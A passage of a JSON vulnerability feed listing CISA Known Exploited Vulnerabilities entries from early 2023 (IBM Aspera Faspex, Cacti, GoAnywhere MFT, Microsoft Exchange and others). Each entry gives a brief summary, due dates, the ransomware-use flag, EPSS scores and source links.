score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-41223&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-41223, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-47986","cveId":"CVE-2022-47986","aliases":[],"kind":"vulnerability","title":"IBM Aspera Faspex Code Execution Vulnerability","summary":"IBM Aspera Faspex could allow a remote attacker to execute code on the system, caused by a YAML deserialization flaw.","detail":"CISA added this entry on 2023-02-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-02-21","updatedAt":null,"regions":["Global"],"vendor":"IBM","product":"Aspera Faspex","stacks":["IBM","Aspera Faspex"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-02-21","dueAt":"2023-03-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99965,"percentile":0.99976,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-47986&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-47986","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-02-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-47986 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-47986&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-47986, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-46169","cveId":"CVE-2022-46169","aliases":[],"kind":"vulnerability","title":"Cacti Command Injection Vulnerability","summary":"Cacti contains a command injection vulnerability that allows an unauthenticated user to execute code.","detail":"CISA added this entry on 2023-02-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-02-16","updatedAt":null,"regions":["Global"],"vendor":"Cacti","product":"Cacti","stacks":["Cacti"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-02-16","dueAt":"2023-03-09","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99826,"percentile":0.9996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-46169&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-46169","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-02-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-46169 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-46169&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-46169, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-21715","cveId":"CVE-2023-21715","aliases":[],"kind":"vulnerability","title":"Microsoft Office Publisher Security Feature Bypass Vulnerability","summary":"Microsoft Office Publisher contains a security feature bypass vulnerability that allows for a local, authenticated attack on a targeted system.","detail":"CISA added this entry on 2023-02-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-02-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-02-14","dueAt":"2023-03-07","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.12011,"percentile":0.961,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-21715&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-21715","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-02-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-21715 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-21715&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-21715, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-21823","cveId":"CVE-2023-21823","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Graphic Component Privilege Escalation Vulnerability","summary":"Microsoft Windows Graphic Component contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2023-02-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-02-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-02-14","dueAt":"2023-03-07","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05563,"percentile":0.92803,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-21823&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-21823","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-02-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-21823 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-21823&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-21823, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-23376","cveId":"CVE-2023-23376","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability","summary":"Microsoft Windows Common Log File System (CLFS) driver contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2023-02-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-02-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-02-14","dueAt":"2023-03-07","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10853,"percentile":0.95825,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-23376&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-23376","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-02-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-23376 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-23376&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-23376, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-23529","cveId":"CVE-2023-23529","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products WebKit Type Confusion Vulnerability","summary":"Apple iOS, MacOS, Safari and iPadOS WebKit contain a type confusion vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2023-02-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-02-14","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-02-14","dueAt":"2023-03-07","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.09426,"percentile":0.9538,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-23529&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-23529","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-02-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-23529 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-23529&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-23529, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-2291","cveId":"CVE-2015-2291","aliases":[],"kind":"vulnerability","title":"Intel Ethernet Diagnostics Driver for Windows Denial-of-Service Vulnerability","summary":"Intel ethernet diagnostics driver for Windows IQVW32.sys and IQVW64.sys contain an unspecified vulnerability that allows for a denial-of-service (DoS).","detail":"CISA added this entry on 2023-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-02-10","updatedAt":null,"regions":["Global"],"vendor":"Intel","product":"Ethernet Diagnostics Driver for Windows","stacks":["Microsoft Windows","Intel","Ethernet Diagnostics Driver for Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-02-10","dueAt":"2023-03-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.15685,"percentile":0.96831,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-2291&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-2291","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-2291 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-2291&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-2291, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-24990","cveId":"CVE-2022-24990","aliases":[],"kind":"vulnerability","title":"TerraMaster OS Remote Command Execution Vulnerability","summary":"TerraMaster OS contains a remote command execution vulnerability that allows an unauthenticated user to execute commands on the target endpoint.","detail":"CISA added this entry on 2023-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-02-10","updatedAt":null,"regions":["Global"],"vendor":"TerraMaster","product":"TerraMaster OS","stacks":["TerraMaster","TerraMaster OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-02-10","dueAt":"2023-03-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.83166,"percentile":0.99674,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-24990&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-24990","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-24990 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-24990&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-24990, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-0669","cveId":"CVE-2023-0669","aliases":[],"kind":"vulnerability","title":"Fortra GoAnywhere MFT Remote Code Execution Vulnerability","summary":"Fortra (formerly, HelpSystems) GoAnywhere MFT contains a pre-authentication remote code execution vulnerability in the License Response Servlet due to deserializing an attacker-controlled object.","detail":"CISA added this entry on 2023-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-02-10","updatedAt":null,"regions":["Global"],"vendor":"Fortra","product":"GoAnywhere MFT","stacks":["Fortra","GoAnywhere MFT"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-02-10","dueAt":"2023-03-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-0669&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-0669","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-0669 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-0669&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-0669, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-21587","cveId":"CVE-2022-21587","aliases":[],"kind":"vulnerability","title":"Oracle E-Business Suite Unspecified Vulnerability","summary":"Oracle E-Business Suite contains an unspecified vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise Oracle Web Applications Desktop Integrator.","detail":"CISA added this entry on 2023-02-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-02-02","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"E-Business Suite","stacks":["Oracle","E-Business Suite"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-02-02","dueAt":"2023-02-23","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98342,"percentile":0.99917,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-21587&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-21587","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-02-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-21587 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-21587&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-21587, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-22952","cveId":"CVE-2023-22952","aliases":[],"kind":"vulnerability","title":"SugarCRM Multiple Products: Multiple SugarCRM Products Remote Code Execution Vulnerability","summary":"Multiple SugarCRM products contain a remote code execution vulnerability in the EmailTemplates. Using a specially crafted request, custom PHP code can be injected through the EmailTemplates.","detail":"CISA added this entry on 2023-02-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-02-02","updatedAt":null,"regions":["Global"],"vendor":"SugarCRM","product":"Multiple Products","stacks":["SugarCRM","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-02-02","dueAt":"2023-02-23","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.80139,"percentile":0.99613,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-22952&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-22952","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-02-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-22952 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-22952&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-22952, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-11357","cveId":"CVE-2017-11357","aliases":[],"kind":"vulnerability","title":"Telerik UI for ASP.NET AJAX Insecure Direct Object Reference Vulnerability","summary":"Telerik UI for ASP.NET AJAX contains an insecure direct object reference vulnerability in RadAsyncUpload that can result in file uploads in a limited location and/or remote code execution.","detail":"CISA added this entry on 2023-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-01-26","updatedAt":null,"regions":["Global"],"vendor":"Telerik","product":"User Interface (UI) for ASP.NET AJAX","stacks":[".NET","Progress (MOVEit, Telerik, WS_FTP)","Telerik","User Interface (UI) for ASP.NET AJAX"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-01-26","dueAt":"2023-02-16","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.77679,"percentile":0.99561,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-11357&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-11357","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-01-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-11357 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-11357&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-11357, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-47966","cveId":"CVE-2022-47966","aliases":[],"kind":"vulnerability","title":"Zoho ManageEngine Multiple Products Remote Code Execution Vulnerability","summary":"Multiple Zoho ManageEngine products contain an unauthenticated remote code execution vulnerability due to the usage of an outdated third-party dependency, Apache Santuario.","detail":"CISA added this entry on 2023-01-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-01-23","updatedAt":null,"regions":["Global"],"vendor":"Zoho","product":"ManageEngine","stacks":["Zoho ManageEngine","Zoho","ManageEngine"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-01-23","dueAt":"2023-02-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99753,"percentile":0.99954,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-47966&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-47966","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-01-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-47966 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-47966&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-47966, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-44877","cveId":"CVE-2022-44877","aliases":[],"kind":"vulnerability","title":"CWP Control Web Panel OS Command Injection Vulnerability","summary":"CWP Control Web Panel (formerly CentOS Web Panel) contains an OS command injection vulnerability that allows remote attackers to execute commands via shell metacharacters in the login parameter.","detail":"CISA added this entry on 2023-01-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-01-17","updatedAt":null,"regions":["Global"],"vendor":"CWP","product":"Control Web Panel","stacks":["CWP","Control Web Panel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-01-17","dueAt":"2023-02-07","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99995,"percentile":0.99988,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-44877&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-44877","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-01-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-44877 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-44877&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-44877, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-41080","cveId":"CVE-2022-41080","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Privilege Escalation Vulnerability","summary":"Microsoft Exchange Server contains an unspecified vulnerability that allows for privilege escalation. This vulnerability is chainable with CVE-2022-41082, which allows for remote code execution.","detail":"CISA added this entry on 2023-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-01-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-01-10","dueAt":"2023-01-31","action":"Apply updates per vendor 